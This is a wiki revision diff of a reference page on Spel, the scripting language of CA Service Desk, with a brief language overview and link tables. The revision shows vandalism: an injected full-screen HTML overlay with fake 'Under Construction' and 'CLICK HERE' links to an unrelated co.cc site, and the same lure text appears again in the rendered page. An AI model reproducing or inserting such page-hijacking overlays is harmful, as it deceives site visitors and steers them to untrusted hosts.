Difference between revisions of "Spel Reference Guide"

From SDU
Jump to: navigation, search
(Reference Sections)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://imygijesusy.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://imygijesusy.co.cc CLICK HERE]=
 +
----
 +
</div>
 
__NOTOC__
 
__NOTOC__
 
[[Category:Customizations]]
 
[[Category:Customizations]]
Line 17: Line 25:
  
 
== Reference Sections ==
 
== Reference Sections ==
{| width="100%"
+
{| width=&quot;100%&quot;
 
|-
 
|-
! colspan=3|'''<font size="3">Functions</font>'''
+
! colspan=3|'''&lt;font size=&quot;3&quot;&gt;Functions&lt;/font&gt;'''
 
|-
 
|-
| width="34%" align="left" style="vertical-align:top;" |
+
| width=&quot;34%&quot; align=&quot;left&quot; style=&quot;vertical-align:top;&quot; |
 
*[[format]]
 
*[[format]]
 
*[[getenv]]
 
*[[getenv]]
Line 27: Line 35:
 
*[[is_empty]]
 
*[[is_empty]]
 
*[[is_null]]
 
*[[is_null]]
| width="33%" align="left" style="vertical-align:top;" |
+
| width=&quot;33%&quot; align=&quot;left&quot; style=&quot;vertical-align:top;&quot; |
 
*[[misc:find_mang]]
 
*[[misc:find_mang]]
 
*[[now]]
 
*[[now]]
 
*[[send_wait]]
 
*[[send_wait]]
 
*[[sindex]]
 
*[[sindex]]
| width="33%" align="left" style="vertical-align:top;" |
+
| width=&quot;33%&quot; align=&quot;left&quot; style=&quot;vertical-align:top;&quot; |
 
*[[strlen]]
 
*[[strlen]]
 
*[[substr]]
 
*[[substr]]
Line 41: Line 49:
  
  
{| width="100%"
+
{| width=&quot;100%&quot;
 
|-
 
|-
! colspan=3|'''<font size="3">Statements</font>'''
+
! colspan=3|'''&lt;font size=&quot;3&quot;&gt;Statements&lt;/font&gt;'''
 
|-
 
|-
| width="34%" align="left" style="vertical-align:top;" |
+
| width=&quot;34%&quot; align=&quot;left&quot; style=&quot;vertical-align:top;&quot; |
 
*[[if]]
 
*[[if]]
| width="33%" align="left" style="vertical-align:top;" |
+
| width=&quot;33%&quot; align=&quot;left&quot; style=&quot;vertical-align:top;&quot; |
 
*[[for]]
 
*[[for]]
| width="33%" align="left" style="vertical-align:top;" |
+
| width=&quot;33%&quot; align=&quot;left&quot; style=&quot;vertical-align:top;&quot; |
 
*[[while]]
 
*[[while]]
 
|-
 
|-
Line 55: Line 63:
  
  
{| width="100%"
+
{| width=&quot;100%&quot;
 
|-
 
|-
! colspan=3|'''<font size="3">Other</font>'''
+
! colspan=3|'''&lt;font size=&quot;3&quot;&gt;Other&lt;/font&gt;'''
 
|-
 
|-
| width="34%" align="left" style="vertical-align:top;" |
+
| width=&quot;34%&quot; align=&quot;left&quot; style=&quot;vertical-align:top;&quot; |
 
*[[Data Type Conversion]]
 
*[[Data Type Conversion]]
 
*[[Operators]]
 
*[[Operators]]
| width="33%" align="left" style="vertical-align:top;" |
+
| width=&quot;33%&quot; align=&quot;left&quot; style=&quot;vertical-align:top;&quot; |
 
*[[Spel FAQ]]
 
*[[Spel FAQ]]
 
*[[Triggering Reaction]]
 
*[[Triggering Reaction]]
| width="33%" align="left" style="vertical-align:top;" |
+
| width=&quot;33%&quot; align=&quot;left&quot; style=&quot;vertical-align:top;&quot; |
 
*[[Troubleshooting Spell Code|Troubleshooting]]
 
*[[Troubleshooting Spell Code|Troubleshooting]]
 
*[[Variables and Types]]
 
*[[Variables and Types]]

Revision as of 03:16, 24 November 2010



This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page


CLICK HERE


To make corrections or additions to this article, select the edit tab above.
To discuss or ask questions about this article, select the discussion tab above.

Note: please treat SPELL as SPEL

Overview

Spell is CA proprietary code used to script Service Desk core operations. Spell code can be found in .spl and .maj files located in $NX_ROOT\bopcfg\majic and $NX_ROOT\site\mods\majic directories. Other examples can be found in the $NX_ROOT\samples directory.

Note: .spl files with a pcd preceding the .spl are encrypted files, such as chgpcd.spl or itilpcd.spl.

Spell is usually used to write methods for object or attribute triggers. Examples may be attribute validation, notification, post processing, etc.

Spell is interpreted and executed by the Method Engine (spel_srvr), it can also be executed from the command line with bop_cmd command that interprets the fragment (.frg) files and executes the code.

The language resembles C++. Unlike C or C++, Spell does not support pointers or structures.

Reference Sections

<font size="3">Functions</font>


<font size="3">Statements</font>


<font size="3">Other</font>

See Also

WSSIWYG by Nero Le Velu